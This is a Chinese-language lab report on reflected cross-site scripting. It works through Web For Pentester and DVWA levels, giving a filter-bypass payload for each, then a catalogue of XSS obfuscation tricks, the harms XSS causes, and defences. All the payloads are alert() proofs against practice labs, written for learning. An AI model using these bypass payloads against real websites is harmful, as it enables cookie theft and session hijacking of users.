2019-03-17 XSS实验报告

实验原理

XSS是最常见的计算机安全漏洞,又叫CSS(Cross Site Script) ,即跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
在XSS的攻击方式中,需要欺骗用户自己去点击链接才能触发的XSS称为反射型XSS,也称为非持久型XSS(Non-persistent XSS)。反射型XSS只是简单的把用户输入的数据“反射”给浏览器,特点为单击时触发,执行一次。

实验目的

理解反射型XSS的原理
学习反射型XSS的实现过程

实验内容

跨站脚本攻击之反射型XSS

打开测试站点,发现是一个提交并输出数据的表单,如下图所示。

尝试输入<script>alert(1)</script>,发现成功弹窗,证明网站存在XSS漏洞。

XSS挑战初中高级

初级

example 1

点击进入,由提示可知关键代码如下:

<?php
echo $_GET["name"];
?>

易知源代码未作任何过滤,构建payload

/example1.php?name=<script>alert(1)</script>

即可成功弹窗。

example 2

由提示可知关键代码如下:

可以看到过滤了小写的<script></script>,因此可以采用大小写混淆的方式绕过,构建payload

/example2.php?name=<sCRipt>alert(1)</scriPt>

即可成功弹窗。

example 3

由提示可知关键代码如下:

过滤了不区分大小写的<script></script>,因此可以采用双写<script>的方式绕过,构建payload

/example3.php?name=<sc<script>ript>alert(1)</scri</script>pt>

即可成功弹窗。

中级

example 4

由提示可知关键代码如下:

可以看到对script做了大小写过滤/i,大小写混淆不再有效,但没有做更多限制。因此可以选择放弃使用<script>标签,转而利用事件实现XSS。
构建payload

/example4.php?name=<img src="" onerror=alert(1)>

即可成功弹窗。

example 5

由提示可知关键代码如下:

过滤了大小写的alert,但可以利用字符串编码绕过。构建payload

/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))</script>

即可成功弹窗。

example 6

由提示可知关键代码如下:

可以采用闭合标签绕过。构建payload

/example6.php?name=</script><script>alert(1)</script>

即可成功弹窗。

高级

example 7

由提示可知关键代码如下:

可知代码通过htmlentities()函数把字符转换为 HTML 实体。

htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:
ENT_COMPAT(默认值):只转换双引号。
ENT_QUOTES:两种引号都转换。
ENT_NOQUOTES:两种引号都不转换。

由图可知该函数在应用时没有设置过滤单引号,因此构建payload

/example7.php?name=';alert('1');'

即可成功弹窗。

example 8

由提示可知关键代码如下:

可知post地址使用了当前url,即<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">,因此构建payload

/example8.php/><script>alert(1)</script><"

即可成功弹窗。

此时标签闭合如下图

example 9

由提示可知关键代码如下:

xss直接在页面输出锚点id,因此构建payload

/example8.php#<script>alert(1)</script>

并刷新网页,即可成功弹窗。

DVWA之反射型XSS

Low

在low级别中,关键代码如下所示:

可以看出未做任何防护,直接构建payload

<script>alert(1)</script>

即可成功弹窗。

Medium

在Medium级别中,关键代码如下所示:

可以看到只替换了小写的<script>字符串,常用方法有更改大小写或双写以拼接script等。构建payload

<Script>alert(1)</sCript>

<sc<script>ript>alert(1)</script>

即可成功弹窗。

结果及分析

通过url的输入,将恶意脚本附加到url地址的参数中。能够弹出一个警告框,说明跨站脚本攻击漏洞存在。

实验结论

我抄我自己
XSS攻击的是浏览器,不同的浏览器效果不一样,同一款浏览器不同版本之间效果不同。反射型XSS通常出现在网站的搜索栏、用户登入口等地方,具有单击时触发、执行一次的特点。
对于反射型XSS,需要服务端和前端共同预防,针对用户输入的数据做解析和转义,或是限定脚本的来源域,以尽可能地避免XSS攻击。

XSS注入流程

  1. 通过常用语句漏洞的验证,如<script>alert(1)</script>
  2. 查看源代码判断XSS的闭合,有没有过滤<>
  3. 查看源代码利用XSS的结构,若结构中会受到过滤等则进行XSS的变形。

常见的XSS攻击方法

  • 利用<>构造HTML 或者JS标签;
  • 利用HTML 标签的属性值进行XSS;
  • 产生自己的事件;
  • 利用CSS跨站等

常见XSS变形

根据过滤代码的写法采取不同的变形以绕过过滤,常见的有以下几种。

1. 扰乱过滤规则

大小写转换
<script>alert(1)</script>
<Script>alert(1)</sCript>
引号的引用
@ 无引号
<Img sRc=# Onerror=alert(/xss/) />
@ 单引号
<Img sRc='#' Onerror='alert(/xss/)' />
@ 双引号
<Img sRc="#" Onerror="alert(/xss/)" />

表格引用自 XSS绕过 - N1nG - CSDN

类型 写法
一个正常的XSS输入 <img src="javascript:alert(0);">
转换大小写后的XSS <IMG SRC="javascript:alert(0);">
大小写混淆的XSS <iMg sRc="jaVasCript:alert(0);">
不用双引号,而是使用单引号的XSS <img src='javascript:alert(0);'>
不使用引号的XSS <img src=javascript:alert(0);>

2. 利用 / 代替空格

<Img/sRc='#'/Onerror='alert(/xss/)' />

3. CSS中变形

@ 使用全角字符
<style>body{background-image:expression(alert(/xss/));}</style>    
@ 注释会被浏览器忽略
<style>
body{background-image:expre/***/ssion(alert(/xss/))}
</style>    
@ 样式表中的\ 和\0 同样会被浏览器忽略
<style>@import 'javasc\ri\0pt:alert("xss")';</style>

4. 利用空格、Tab或回车

@ 利用Tab
<A hREf="j  avascript:alert(/xss/)">click me!</a>
@ 利用回车
<img src="javas
cript:
alert(/xss/)" width=100>

5. 对标签属性值进行转码

@ 将字符转为十进制或十六进制,例如
a    97     &#97;     &#x61;   
e    101    &#101;    &#x65;
<A hREf="j    &#97;v&#x61;script:alert(/xss/)">click me!</a>

6. 拆分跨站

@ 拼接
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
@ 注释
<script>alert(doucument./*
*/cookie</script>

XSS的危害

  • 网络钓鱼,包括窃取用户账号;
  • 窃取用户cookies资料,从而获得用户隐私信息,或利用用户身份进一步对网站执行操作;
  • 劫持用户会话,进行非法转账、强制发表日志、发送电子邮件等;
  • 强制弹出广告、刷流量等;
  • 恶意操作,删除文章等;
  • 网页挂马;
  • 传播跨站脚本蠕虫等

常见应对XSS方法

  • 输入输出检查并对敏感字符编码,如<转成&lt;

    • 在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<script>JavaScript<>。常使用preg_replace()函数,如preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    • 在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。如php可以使用htmlentities()函数及htmlspecialchars()函数;JavascriptEncode使用escapeJavascript()函数来转义、<>\&#等,同时要求输出变量必须在引号内部。在Java中也存在第三方组件支持过滤XSS漏洞,如JSOUP、OWASP Esapi、xssprotext等。
  • 黑名单,白名单

    • 对于富文本的过滤,需要考虑输入过滤,严格禁止“事件”。同时禁止一些威胁的标签:<iframe><base><script><form>等。
    • 在标签的选择上,应该使用白名单,如只允许<a><img><div>等比较安全的标签
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,080评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,422评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,630评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,554评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,662评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,856评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,014评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,752评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,212评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,541评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,687评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,347评论 4 331
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,973评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,777评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,006评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,406评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,576评论 2 349

推荐阅读更多精彩内容

  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,045评论 0 16
  • web漏洞原理(源码通过code injection或者file upload获得) SQL注入 Example ...
    JasonChiu17阅读 2,851评论 0 7
  • 1.第一题没啥拦截和编码,直接显示,源代码如下: 2.第二题的源代码如下: 可以看到进行html特殊字符的编码,经...
    最初的美好_kai阅读 737评论 0 1
  • 写在前面 文章内容参考自https://twosecurity.io/http://www.4hou.com/we...
    Ackerzy阅读 5,377评论 0 9
  • web漏洞原理 SQL注入 Example 1 无过滤,单引号字符类型注入 Example 2 过滤了空格,绕过空...
    JasonChiu17阅读 1,458评论 0 1